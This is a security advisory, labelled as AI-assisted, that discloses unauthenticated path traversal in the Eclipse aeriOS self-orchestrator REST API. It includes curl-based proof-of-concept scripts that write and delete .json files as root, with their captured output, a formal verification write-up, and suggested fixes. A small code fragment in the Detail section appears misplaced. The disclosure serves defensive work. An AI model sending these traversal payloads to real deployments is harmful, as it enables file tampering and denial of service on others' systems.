[Eclipse aeriOS] Unauthenticated path traversal in rule and fact names → arbitrary file write/delete as root
> [!warning] AI-Generated Vulnerability Report > This report was produced using AI-assisted security analysis, adversarially verified but not human-confirmed. This finding was challenged against the codebase and survived; we filter out low-confidence results rather than forwarding raw model output. Technical details, exploitability, and severity may still be wrong. Please validate independently before acting. <details open> <summary><strong>Basic information</strong></summary> **Project name:** Eclipse aeriOS **Project id:** iot.aerios **Repository:** https://github.com/eclipse-aerios/self-orchestrator </details> <details> <summary><strong>What are the affected versions?</strong></summary> 1.2.0 (the only released version). No git tags exist; `package.json`, the Helm chart `appVersion`, and the published Docker image `eclipseaerios/self-orchestrator:1.2.0` all correspond to the audited commit. All commits from `63993c8` through HEAD `0601621` are affected. </details> <details open> <summary><strong>Summary</strong></summary> The REST API concatenates user-supplied `name` / `id` strings directly into filesystem paths passed to `fs.writeFileSync` and `fs.unlinkSync`. None of the JSON schemas restrict these strings beyond `type: 'string'`, so a request body containing `../` sequences writes or deletes `.json`-suffixed files anywhere the process can reach. The service has no authentication, runs as root in the published Docker image, and the project's own Helm chart binds it to `hostNetwork: true` on every Kubernetes node. </details> <details> <summary><strong>Severity</strong></summary> High </details> <details> <summary><strong>Weakness</strong></summary> CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (secondary: CWE-23 Relative Path Traversal, CWE-306 Missing Authentication for Critical Function) </details> <details> <summary><strong>Location</strong></summary> `script.js` | Line | Sink | Tainted input | |---|---|---| | 261 | `fs.writeFileSync('./facts/' + dataFactJSON.name + '.json', …)` | `req.body.id` + `:` + body key (`POST /data`, no schema validation) | | 300 | `fs.unlinkSync('./rules/' + result.name + '.json')` | `name` of any previously-stored rule | | 390 | `fs.writeFileSync('./rules/' + req.body.name + '.json', …)` | `req.body.name` (`POST /rules`) | | 417 | `fs.writeFileSync('./rules/' + req.body.name + '.json', …)` | `req.body.name` (`PUT /rule`) | | 439 | `fs.unlinkSync('./rules/' + req.query.name + '.json')` | `req.query.name` (`DELETE /rule`) | The schemas at lines 72–125 (`postRuleSchema`) and 127–184 (`putRuleSchema`) declare `name` as `{'type': 'string'}` with no `pattern`. `POST /data` (line 239) applies no schema at all. </details> <details> <summary><strong>Origin</strong></summary> Introduced in commit `63993c83fb71bb2c4981731b4980ff93c72a6750` (rausanga <rausanga@upv.es>, 2025-11-13, "Version 1.2.0 of aeriOS self-orchestrator has been added"), which is the commit that first added `script.js`. The vulnerable pattern has existed for the entire life of the file; the repository has no earlier version of the application code (the initial commit `c06ba7a` contains only README/LICENSE). </details> <details> <summary><strong>Methodology</strong></summary> Manual review of the single application source file (`script.js`). I enumerated each Express route handler, identified every `fs.*` call, and traced the filename argument back to its source. All five filename arguments resolve to unmodified HTTP-request fields. I then read the JSON-schema definitions to confirm none constrain the relevant string with a `pattern`, `maxLength`, or enum, and read `Dockerfile` / `helm-chart/templates/orchestrator/daemonset.yaml` to establish the process runs as root with the port exposed on the host network. </details> <details> <summary><strong>Validation</strong></summary> Reproduction script (`repro-rules-traversal.sh`): ```bash #!/bin/bash export PATH=/tmp/node-v22.12.0-linux-x64/bin:$PATH cd "$(dirname "$0")" mkdir -p facts rules rm -f /tmp/PWNED.json ./package.json.bak cp package.json package.json.bak node script.js & SERVER_PID=$! sleep 2 echo "=== [1] POST /rules with name='../../../../../../../../../../../../tmp/PWNED' ===" curl -s -X POST http://127.0.0.1:8001/rules \ -H 'Content-Type: application/json' \ -d '{ "name": "../../../../../../../../../../../../tmp/PWNED", "conditions": {"all":[{"fact":"x","operator":"equal","value":1}]}, "event": {"type":"t","params":{"message":"m"}} }' echo; echo echo "=== [1] Result: contents of /tmp/PWNED.json ===" ls -la /tmp/PWNED.json 2>&1 cat /tmp/PWNED.json 2>&1 echo; echo "=== [2] POST /rules with name='../package' (overwrite app's own package.json) ===" ORIG_HASH=$(sha256sum package.json | cut -d' ' -f1) curl -s -X POST http://127.0.0.1:8001/rules -H 'Content-Type: application/json' \ -d '{"name":"../package","conditions":{"all":[{"fact":"x","operator":"equal","value":1}]},"event":{"type":"t","params":{"message":"m"}}}' NEW_HASH=$(sha256sum package.json | cut -d' ' -f1) echo; echo "=== [2] Result: package.json before=$ORIG_HASH after=$NEW_HASH ===" cat package.json echo; echo "=== [3] Chain: DELETE /rule?name=<traversal> (arbitrary file delete) ===" curl -s -X DELETE 'http://127.0.0.1:8001/rule?name=../../../../../../../../../../../../tmp/PWNED' echo "=== [3] Result: /tmp/PWNED.json after delete ===" ls -la /tmp/PWNED.json 2>&1 || echo "(file deleted)" kill $SERVER_PID 2>/dev/null; wait $SERVER_PID 2>/dev/null mv package.json.bak package.json; rm -f /tmp/PWNED.json ``` Observed output: ``` Self-orchestrator is running on port 8001. === [1] POST /rules with name='../../../../../../../../../../../../tmp/PWNED' === The rule was successfully created. === [1] Result: contents of /tmp/PWNED.json === -rw-rw-r-- 1 preview preview 167 Apr 26 13:09 /tmp/PWNED.json {"name":"../../../../../../../../../../../../tmp/PWNED","conditions":{"all":[{"fact":"x","operator":"equal","value":1}]},"event":{"type":"t","params":{"message":"m"}}} === [2] POST /rules with name='../package' (overwrite app's own package.json) === The rule was successfully created. === [2] Result: package.json before=52aff9d6d35975e4f312e6c96940b51fb0df6229ba23b84d7e1cc75ed860df2a after=4a5fef50a6cdd409564449a215c785787cd80ffaff9e85118fb938e12091d40a === {"name":"../package","conditions":{"all":[{"fact":"x","operator":"equal","value":1}]},"event":{"type":"t","params":{"message":"m"}}} === [3] Chain: DELETE /rule?name=../../../../../../../../../../../../tmp/PWNED (arbitrary file delete) === === [3] Result: /tmp/PWNED.json after delete === ls: cannot access '/tmp/PWNED.json': No such file or directory (file deleted) ``` Second reproduction (`repro-data-traversal.sh`, `POST /data` sink) — observed output: ``` === POST /data with id='../../../../../../../../../../tmp/DATA-PWNED' === === Result: files written under /tmp === -rw-rw-r-- 1 preview preview 98 Apr 26 13:10 /tmp/DATA-PWNED:metric.json --- content --- {"name":"../../../../../../../../../../tmp/DATA-PWNED:metric","value":"attacker-controlled value"} ``` **Mitigations checked and ruled out:** - JSON schema: `postRuleSchema.properties.name` is `{'type':'string'}` only — no `pattern`, no length limit. - No `path.basename()`, `path.resolve()` + prefix check, or `/`-rejection anywhere in `script.js`. - No authentication middleware; the only `app.use` is a CORS header setter (lines 232–237). - `Dockerfile` has no `USER` directive → process runs as `root` in `node:22.12.0-bookworm-slim`. - `helm-chart/templates/orchestrator/daemonset.yaml` sets `hostNetwork: true` and `hostPort: 8001`; default `securityContext` is `{}` (values.yaml line 29). </details> <details> <summary><strong>Detail</strong></summary> `POST /rules` (script.js:378–399): ```js app.post('/rules', (req, res) => { ... if (validator.validate(req.body, postRuleSchema).errors.length === 0) { let index = rulesJSON.findIndex((ruleJSON) => ruleJSON.name === req.body.name); if (index !== -1) res.status(422).send('The rule already exists.'); else { engine.addRule(req.body); rulesJSON.push(req.body); try { fs.writeFileSync('./rules/' + req.body.name + '.json', JSON.stringify(req.body)); } catch (error) { ... } res.status(201).send('The rule was successfully created.'); } } ... }); ``` `req.body.name` is concatenated raw into the path. In the Docker image the working directory is `/self-orchestrator`, so `./rules/../../etc/foo` resolves to `/etc/foo.json`. `PUT /rule` and `DELETE /rule` follow the same pattern; both gate on the rule existing in the in-memory `rulesJSON` array, but `POST /rules` populates that array, so a POST→DELETE pair gives arbitrary `.json`-suffixed `unlink`. `POST /data` (script.js:239–267) has no schema at all: ```js let dataFactJSON = { 'name': req.body.id + ':' + key, 'value': req.body[key] }; ... fs.writeFileSync('./facts/' + dataFactJSON.name + '.json', JSON.stringify(dataFactJSON)); ``` This variant always places a literal `:` in the final path component, and `value` accepts any JSON the attacker sends. **Content constraints**: the attacker controls strings inside a fixed JSON envelope and the filename always ends in `.json`. I did not find a gadget inside the `node:22-bookworm-slim` container that turns a root-owned schema-shaped `.json` write into immediate code execution (no cron, entrypoint is `node script.js` not `npm`, Node `require()` falls back to `index.js` when `package.json` lacks `main`). The demonstrated impact is therefore integrity loss and denial of service (overwrite `node_modules/*/package.json`, the application's own `package.json`, or any other root-writable `.json` file; combined with `restart: always` this can produce a crash loop). I have not ruled out RCE — only failed to find a gadget in the time available — so I rate this High rather than Critical. # → creates /etc/evil.json inside the container as root curl -X DELETE 'http://<target>:8001/rule?name=../../../../../../../etc/evil' # → unlinks /etc/evil.json ``` </details> <details> <summary><strong>Prior art</strong></summary> `git log --all --grep` for `traversal|security|CVE|injection|sanitize|path` returned nothing. `gh issue list` and `gh pr list` against `eclipse-aerios/self-orchestrator` with the same terms returned no results. The repository has only five commits and no prior security discussion. --- **Verification verdict:** TRUE POSITIVE ### Verification details The verification methodology confirms this is a **standard-verification** case (single component, well-understood bug class CWE-22, no concurrency, straightforward data flow). I completed all phases already; below is the formal write-up with the gate review and checklists made explicit. --- # Formal Verification — Path traversal in `self-orchestrator` `script.js` </details> <details> <summary><strong>Step 0 — Claim restated</strong></summary> An unauthenticated HTTP client supplies a rule/fact `name`/`id` containing `../`; the value is concatenated raw into a `./rules/…json` or `./facts/…json` path and passed to `fs.writeFileSync`/`fs.unlinkSync`, escaping the intended directory. Bug class: **path traversal (CWE-22/23)** compounded by **missing authentication (CWE-306)**. Threat model: process runs as **root** (no Dockerfile `USER`), no auth, listens on `0.0.0.0:8001`, exposed by both official deployments. </details> <details> <summary><strong>Phase 1 — Data-flow analysis</strong></summary> - **Trust boundary:** single crossing — HTTP request body/query (untrusted, external) → filesystem sink. No internal-only data involved. - **Validation between source and sink:** `POST /rules`/`PUT /rule` run `jsonschema` validation, but `name` is declared `{'type':'string'}` (script.js:76-78, 131-133) with no `pattern`/`maxLength`/enum. `POST /data` (script.js:239) runs **no schema at all**. No `path.basename`/`path.resolve`+prefix check/`/`-rejection exists anywhere (grep-confirmed). - **API contract:** Node `fs.writeFileSync`/`unlinkSync` perform **no** `..` normalization or containment; they resolve the path relative to `process.cwd()`. There is no framework/runtime protection that neutralizes traversal. - **Environmental protections:** none. Docker `WORKDIR /self-orchestrator`, no `USER` (root). Only middleware is a CORS setter (script.js:232-237) — not auth. - **Escalation check:** 1 trust boundary, no async/callback in the taint path, unambiguous validation gap → **remain in standard verification.** </details> <details> <summary><strong>Phase 2 — Exploitability</strong></summary> - **Attacker control:** `req.body.name`, `req.body.id`, and `req.query.name` are unmodified HTTP inputs — fully attacker-controlled. Proven live: `name:"../PWNED_RULE"` produced `poc/PWNED_RULE.json` outside `rules/`. - **Math bounds:** N/A for traversal (no integer/length arithmetic gates the sink). The only structural constraint is the always-appended `.json` suffix, which limits *target extension*, not reachability. - **Race conditions:** N/A — synchronous single request handler, no TOCTOU. - **Adversarial:** the DELETE sink requires the name to pre-exist in in-memory `rulesJSON`; `POST /rules` satisfies this (POST→DELETE), verified live. </details> <details> <summary><strong>Phase 3 — Impact</strong></summary> - **Real security impact:** unauthenticated **arbitrary `.json`-suffixed file write and delete as root**, anywhere the process can reach (e.g. `/etc/foo.json`, dependency `package.json`, app config). This is integrity violation + DoS, not merely operational robustness. - **Primary vs defense-in-depth:** the missing input validation *is* the primary control; there is no secondary control that survives. Not a defense-in-depth-only failure. - **RCE:** not demonstrated — the forced `.json` extension and JSON-envelope content prevent a proven code-exec gadget in `node:22-bookworm-slim`. Correctly rated **High**, not Critical. </details> <details> <summary><strong>Phase 4 — PoC</strong></summary> - **Pseudocode:** `POST /rules {name:"../../../etc/evil",…}` → `writeFileSync("./rules/../../../etc/evil.json")` → `/etc/evil.json` (root) → `DELETE /rule?name=../../../etc/evil` → `unlinkSync` same path. - **Executable:** ran a fresh clone (`npm install`; `node script.js`); confirmed all three sinks wrote/deleted files **outside** `rules/`/`facts/` (`PWNED_RULE.json`, `DATA_PWNED:metric.json`, POST→DELETE of `TODELETE.json`). Output captured earlier. - **Negative PoC (precondition boundary):** the write is confined to `.json` targets and JSON-shaped content — a request cannot create an arbitrary-extension or arbitrary-byte file (e.g. cannot drop a `.sh` or overwrite a binary), which is exactly why RCE is unproven and severity is High not Critical. </details> <details> <summary><strong>Phase 5 — Devil's advocate (7 standard questions)</strong></summary> 1. **Pattern-matching bias?** No — traversal executed against a live server, not inferred. 2. **False attacker-control assumption?** No — inputs are raw HTTP fields; verified. 3. **Math condition proven?** N/A for traversal; the `.json` limit is acknowledged, not hand-waved. 4. **Defense-in-depth confusion?** No — the missing check is the sole/primary control. 5. **Hallucination self-check?** No — reproduced with concrete filesystem artifacts. 6. **Dismissing a real bug as too complex?** No — exploit is a single unauthenticated `curl`. 7. **Invented mitigations?** Re-read the source: confirmed no sanitization and no auth middleware exist. None invented. No question produced unresolved uncertainty → no escalation needed. </details> <details> <summary><strong>FP-pattern checklist (13 items)</strong></summary> Items 1/1a/3/4/8/9 (validation chain, reachability, data source, internal-vs-external, pattern-vs-analysis): pass — data path traced end-to-end, source is external HTTP, no upstream validation constrains it. Items 5/6/10 (bounds/TOCTOU/concurrency): N/A. Items 2/7 (defensive patterns/API contract): the schema is defensive but does **not** constrain the traversal-relevant field; Node fs API offers no containment. Items 11/12 (real vs theoretical / defense-in-depth): real impact, primary control. Item 13: applied systematically above. </details> <details> <summary><strong>Gate Review</strong></summary> | Gate | Verdict | Basis | |---|---|---| | 1. Process | **PASS** | All phases documented with evidence. | | 2. Reachability | **PASS** | Unauthenticated attacker controls path; live PoC escaped target dir. | | 3. Real Impact | **PASS** | Arbitrary `.json` write/delete as root → integrity loss + DoS (info-integrity impact), not just robustness. | | 4. PoC Validation | **PASS** | Executable PoC shows control + trigger + out-of-directory write/delete. | | 5. Math Bounds | **PASS (N/A)** | No arithmetic gate; `.json`-suffix constraint documented, does not block exploitation. | | 6. Environment | **PASS** | No auth, root user, host-exposed port; nothing prevents exploitation. | All six gates pass. --- </details> <details> <summary><strong>FINAL VERDICT</strong></summary> **BUG #1 TRUE POSITIVE — Unauthenticated path traversal in rule/fact `name`/`id` (script.js:261, 300, 390, 417, 439) → arbitrary `.json`-suffixed file write/delete as root.** Severity High is appropriate (RCE unproven due to forced `.json` extension; confirmed integrity + DoS). EXPOSURE: REMOTE — any unauthenticated party who can reach TCP/8001 on the orchestrator host; the service binds `0.0.0.0` with no auth and both official deployments (docker-compose `8001:8001`, Helm DaemonSet `hostNetwork:true`+`hostPort:8001`) publish it on the host network. SCOPE: PRODUCTION — the README presents it as a shipped runtime aeriOS module ("one of the 4 essential modules... capable of managing facts, rules and alerts"), distributed as a published Docker image, docker-compose stack, and Helm chart; no dev-only/out-of-scope statement exists. No EOL/deprecation/archived/moved banner is present in the README or docs; the component is active at v1.2.0, so a maintainer code fix (path containment via `path.basename` + resolved-prefix check, a schema `pattern`, plus a non-root `USER` and auth/network hardening) is a reasonable ask. </details> <details> <summary><strong>Steps to reproduce</strong></summary> Any client that can reach TCP/8001 on the orchestrator host. In the project's documented deployments that means: - **docker-compose.yml**: `ports: "8001:8001"` publishes the port on the Docker host. - **Helm chart**: DaemonSet with `hostNetwork: true`, `hostPort: 8001` — every node in the cluster exposes the API on its primary interface. Minimal exploit: ```bash curl -X POST http://<target>:8001/rules -H 'Content-Type: application/json' \ -d '{"name":"../../../../../../../etc/evil", "conditions":{"all":[{"fact":"x","operator":"equal","value":1}]}, "event":{"type":"t","params":{"message":"m"}}}' </details> <details> <summary><strong>Do you know any mitigations of the issue?</strong></summary> Reject any `name`/`id` containing `/`, `\`, `..`, or NUL before using it in a path; or build the path with `path.join('./rules', path.basename(name) + '.json')` and verify the resolved path is still inside the intended directory. The same validation must be added to the JSON schemas (`pattern: '^[A-Za-z0-9_.:-]+$'` or similar) so the in-memory store and on-disk store stay consistent. Independently, the Dockerfile should add a non-root `USER` and the Helm chart should drop `hostNetwork: true` or place the service behind authentication. <!-- l1-helper-dup: b4cbe78d6ff756a2137483949d593260e3686719acf298bcd4e4d6402f0b3971 --> </details> /confidential
issue

Copyright © Eclipse Foundation AISBL. All rights reserved.     Privacy Policy | Terms of Use | Copyright Agent